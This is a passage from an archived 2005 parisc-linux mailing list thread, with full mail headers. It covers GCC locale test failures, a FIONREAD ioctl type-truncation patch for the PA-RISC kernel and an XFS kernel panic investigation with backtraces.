> gsyprf11 4.1.0:
> FAIL: 22_locale/messages/members/char/1.cc execution test
> FAIL: 22_locale/messages/members/char/2.cc execution test
> FAIL: 22_locale/messages/members/char/wrapped_env.cc execution test
> FAIL: 22_locale/messages/members/char/wrapped_locale.cc execution test
> FAIL: 22_locale/messages_byname/named_equivalence.cc execution test

These are a result of configuring GCC with --disable-nls.  It's
a minor configuration issue.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>
int
main ()
{
  int fd, result;
  int num = 0;

  fd = open ("sgetn.txt", O_RDONLY);
  result = ioctl (fd, FIONREAD, &num);
  printf ("num = %d\n\n", num);
  return 0;
}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Comments?
Date: Sun, 13 Mar 2005 12:22:13 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <42343075.4030308@tiscali.be>
References: <200503052033.j25KXK8x007561@hiauly1.hia.nrc.ca>	<200503122337.j2CNbF3p026289@hiauly1.hia.nrc.ca>
	<20050313011921.GB28289@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623694 12974 80.91.229.3 (22 Nov 2014 02:34:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:54 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Mar 2005 12:22:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 13 Mar 2005 13:22:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C66C47D667;
	Sun, 13 Mar 2005 05:23:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10689-07; Sun, 13 Mar 2005 05:23:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0FDA87D65F;
	Sun, 13 Mar 2005 05:23:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 44B9F7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Mar 2005 05:23:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10364-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Mar 2005 05:23:28 -0700 (MST)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id BA0477D653
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Mar 2005 05:23:28 -0700 (MST)
Original-Received: from [83.134.228.101] (helo=[83.134.228.101])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DAS6o-0006P1-Ts; Sun, 13 Mar 2005 13:22:15 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
In-Reply-To: <20050313011921.GB28289@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4FxfKtwATlIv47eQeGhrSVVGU2poZVk5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22430



Randolph Chung wrote:
...
> Is this the right thing to do? Do we need something similar for
> get_user()?
> 
would you mean something like:
--- include/asm-parisc/uaccess.h.orig   2005-02-26 13:23:35.000000000 +0100
+++ include/asm-parisc/uaccess.h        2005-03-13 13:20:11.000000000 +0100
@@ -102,8 +102,9 @@
             }                                           \
         }                                               \
                                                         \
-       (x) = (__typeof__(*(ptr))) __gu_val;            \
-       __gu_err;                                       \
+        __typeof__(*(ptr)) __x = (__typeof__(*(ptr))) __gu_val;        \
+       (x) = (__typeof__((x))) (__x);                          \
+       __gu_err;                                               \
  })

  #ifdef __LP64__
====><====

> Tested on 32-bit and 64-bit (thanks Kyle!)
> 
Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Sun, 13 Mar 2005 11:21:53 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200503131621.j2DGLrVd029395@hiauly1.hia.nrc.ca>
References: <20050313011921.GB28289@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623694 12978 80.91.229.3 (22 Nov 2014 02:34:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Mar 2005 16:22:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 13 Mar 2005 17:22:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B89A77D664;
	Sun, 13 Mar 2005 09:23:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13442-04; Sun, 13 Mar 2005 09:23:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CF897D665;
	Sun, 13 Mar 2005 09:23:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E103D7D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Mar 2005 09:23:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13439-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Mar 2005 09:23:06 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5F47F7D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Mar 2005 09:23:06 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2DGLrhF029396; Sun, 13 Mar 2005 11:21:54 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2DGLrVd029395;
	Sun, 13 Mar 2005 11:21:53 -0500 (EST)
In-Reply-To: <20050313011921.GB28289@tausq.org> from "Randolph Chung" at Mar
	12, 2005 05:19:21 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zgRfKr0aTlIv47eQeGhrSVVGU2poZZkC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22431

> I think the attached patch is what we should do; the problem is that we
> are trying to put a 64-bit quantity (loff_t) into an int *, and we end
> up only storing the top bits. (see fs/ioctl.c for details)
> 
> Is this the right thing to do? Do we need something similar for
> get_user()?

Thinking more about this, I've decided that this change would
tend to hide problems.  The reality is that fs/ioctl.c has to
deal with how to convert the loff_t value to an int (e.g., return
INT_MAX for positive offsets exceeding INT_MAX, or return an
error, etc).  Truncation likely isn't the right thing to do
in all cases.

I don't know what is required here as the behavior of FIONREAD
for large offsets isn't defined.  Possibly, the issue is
academic in this case as it may not be possible to have more
than 2 GB of unread queued data.

GCC has a builtin __builtin_types_compatible_p that checks if
two types are compatible.  It might be used in a debug kernel
to look for other similar problems.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: xfs only investigation [WAS: [parisc-linux] xfs and ext3 pb on
	2.6.11-pa]
Date: Mon, 14 Mar 2005 18:22:04 +0100
Lines: 152
Approved: news@gmane.org
Message-ID: <42075CE80000F34F@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623695 12985 80.91.229.3 (22 Nov 2014 02:34:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Mar 2005 17:22:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 14 Mar 2005 18:22:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4B817D65F;
	Mon, 14 Mar 2005 10:23:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20673-02; Mon, 14 Mar 2005 10:23:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B93537D667;
	Mon, 14 Mar 2005 10:23:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A747A7D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 10:23:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20466-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 10:23:24 -0700 (MST)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id CB22A7D647
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 10:23:23 -0700 (MST)
Original-Received: from mail-6-bnl.mail.tiscali.sys ([10.39.115.136]
	helo=mail-6-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43) id 1DAtGX-0001IF-W7
	for parisc-linux@lists.parisc-linux.org; Mon, 14 Mar 2005 18:22:08 +0100
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Mon, 14 Mar 2005 18:22:04 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: N6ReKqEqTlIv47eQeGhrSVVGU2poZVn/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22432

Hello all,

I continue investigation on xfs only because seems to be more easy to rep=
roduce:
on the b180 runing a recent kernel 2.6.11-pa2 (cvs co 20050311) just moun=
t
the fs and launch the compile of a kernel (e.g. a merged bk6 :-) ) and it=

stops quickly with error below mentioned 'attempt to access beyond end of=

device...'. Neither xfs_check nor xfs_repair help.

The same pb seems to occure on a d270 and c3600 runing also a recent 2.6.=
11
32bit.

Oth on a A500 (ggg), it seems to works fine since some days :-)

Fortunately, on my b2k I have an additional s.e. hba (hp supplied) on whi=
ch
I can connect the external disk used on the b180 to test xfs: so differen=
t
hba and different iommu?

I boot first a 32bit kernel with builtin xfs support and I reach to recom=
pile
a full kernel the the /mnt/XfsTest fs ...
nevertheless i reach to reproduce (difficultly i agree) when I do in the
same time an untar of the vanilla linux-2.6.11.tar (but just one occurenc=
e;
if remove the created dir linux-2.6.11 and relaunch the untar alone, the
pb doesn't occure ?$)

Has it seems to work better on a500, I would also test this same disk on
same
b2k with the same kernel but 64bit.
I re-launch the test of a kernel compile and untar the same time and _PAN=
IC_
:__(
Backtrace:
 [<000000001027b8e0>] xfs_ialloc_ag_select+0x200/0x340
 [<000000001027c35c>] xfs_dialloc+0x93c/0x958
 [<0000000010282ce8>] xfs_ialloc+0x78/0x500
 [<000000001029bc60>] xfs_dir_ialloc+0xb8/0x348
 [<00000000102a35ac>] xfs_mkdir+0x2c4/0x810
 [<00000000102b00c4>] linvfs_mknod+0x21c/0x258
 [<00000000102b0144>] linvfs_mkdir+0x1c/0x28
 [<00000000101a9ec0>] vfs_mkdir+0xb0/0xe8
 [<00000000101a9fe8>] sys_mkdir+0xf0/0x178
 [<0000000010107f78>] syscall_exit+0x0/0x14


Kernel Fault: Code=3D15 regs=3D000000001bf58ce0 (Addr=3D00000002b08cb741)=


     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  0000000000000000 000000029113e140 000000001066ca60 000000001d64a0=
00
r04-07  000000001ae1eb40 000000001067c260 000000001bbb74d0 000000001bf58b=
20
r08-11  0000000000000007 000000001bbb74d0 0000000000000008 00000000000000=
01
r12-15  000000001d64a238 0000000000000001 0000000000000001 00000000000000=
00
r16-19  0000000000000000 000000001bf58900 0000000010282ce8 000000001f78d6=
00
r20-23  000000001027b8e0 000000000000055c 0000000058414749 000000001d7074=
00
r24-27  00000002b08cb740 0000000000000001 0000000000000001 00000000106682=
60
r28-31  000000001d707400 000000001bf58cb0 000000001bf58ce0 00000000000000=
00
sr0-3   0000000000d91000 0000000000000000 0000000000000000 0000000000bae0=
00
sr4-7   0000000000000000 0000000000000000 0000000000000000 00000000000000=
00

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001027cf58 0000000010=
27cf5c
 IIR: 0f021014    ISR: 0000000000000000  IOR: 00000002b08cb741
 CPU:        0   CR30: 000000001bf58000 CR31: 0000000010620000
 ORIG_R28: 00000000102aa744
 IAOQ[0]: xfs_ialloc_read_agi+0x178/0x1a0
 IAOQ[1]: xfs_ialloc_read_agi+0x17c/0x1a0
 RP(r2): __gp+0x4800/0x17da0
Kernel panic - not syncing: Kernel Fault

That puts me in a deep black.

Any idea to highlight my way?

Thanks in advance,
    Joel

PS: I already tried vanilla patch 2.6.11.2 as well as Randolph patch: not=
hing
help for this pb

PS2: I also tried a bk6 merge (just in case new xfs fixes) but that crash=

very early with any messages; just adding pdc console would show a failur=
e
into new kernel/posix-cpu-timers.c
at line 1245: BUG_ON(!irqs_disabled());

>
> I was interested by xfs pb related by Grant and GMSoft and I reach to a=
lso
> obtain a corupted xfs (on a disk slice over which a reading dd doesn't
seems
> to encounter any pb).
>
> On my b180 running a 2.6.11-pa2 (cvs dated 20050310) with xfs builtin,
the
> error is always the same:
> XFS mounting filesystem sdd1
> attempt to access beyond end of device
> sdd1: rw=3D0, want=3D3130210928, limit=3D4098200
> I/O error in filesystem ("sdd1") meta-data dev sdd1 block 0xba933a68
>   ("xfs_trans_read_buf") error 5 buf count 4096
>
> >>here xfs_check ...
> >> then remount and make menuconfig
>
> XFS mounting filesystem sdd1
> attempt to access beyond end of device
> sdd1: rw=3D0, want=3D3130110864, limit=3D4098200
> I/O error in filesystem ("sdd1") meta-data dev sdd1 block 0xba91b388
>   ("xfs_trans_read_buf") error 5 buf count 4096
>
> >> here xfs_repair ...
> >> then same remount and make menuconfig
>
> XFS mounting filesystem sdd1
> attempt to access beyond end of device
> sdd1: rw=3D0, want=3D3130110864, limit=3D4098200
> I/O error in filesystem ("sdd1") meta-data dev sdd1 block 0xba91b388
>   ("xfs_trans_read_buf") error 5 buf count 4096
> ...
>
> this pb seems to be reproducible on D270, c3600 and b180 (all 32bit).
>
...


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Mon, 14 Mar 2005 05:28:42 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <20050314132842.GE28289@tausq.org>
References: <20050313011921.GB28289@tausq.org>
	<200503131621.j2DGLrVd029395@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623695 12988 80.91.229.3 (22 Nov 2014 02:34:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Mar 2005 13:29:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 14 Mar 2005 14:29:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC7507D649;
	Mon, 14 Mar 2005 06:30:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18560-07; Mon, 14 Mar 2005 06:30:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E14B7D64B;
	Mon, 14 Mar 2005 06:30:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19CF17D647
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 06:30:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18554-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 06:30:00 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 96DA37D649
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 06:30:00 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 09842112057; Mon, 14 Mar 2005 05:28:42 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200503131621.j2DGLrVd029395@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wv1eKiUZTlIv47eQeGhrSVVGU2poZRmb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22433

> Thinking more about this, I've decided that this change would
> tend to hide problems.  The reality is that fs/ioctl.c has to
> deal with how to convert the loff_t value to an int (e.g., return
> INT_MAX for positive offsets exceeding INT_MAX, or return an
> error, etc).  Truncation likely isn't the right thing to do
> in all cases.

I suppose the behavior should, ideally, match some specification.
Unfortunately the only place I can find where FIONREAD is documented is
in LSB, and the description there is quite value about what the return
type is supposed to be.

For now I've commited a combination of:
1) Change the FIONREAD handling code to explicitly return a 4-byte value
2) Change the put_user code to cast the result to the expected type

Willy says he will follow up with other relevant folks to find out
what's the right thing to do.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State of the kernel
Date: Mon, 14 Mar 2005 19:40:18 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20050314194018.GX21986@parcelfarce.linux.theplanet.co.uk>
References: <20050314181215.GV21986@parcelfarce.linux.theplanet.co.uk> <200503142023.49252.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623695 12989 80.91.229.3 (22 Nov 2014 02:34:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@www.linux.org.uk>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Mar 2005 19:40:22 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (EHLO parcelfarce.linux.theplanet.co.uk) (195.92.249.252)
  by mx0.gmx.net (mx012) with SMTP; 14 Mar 2005 20:40:22 +0100
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim 4.33)
	id 1DAvQK-0004bz-Fl; Mon, 14 Mar 2005 19:40:20 +0000
Content-Disposition: inline
In-Reply-To: <200503142023.49252.deller@gmx.de>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y4ReKr5nTlIv47eQeGhrSVVGU2poZVma
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
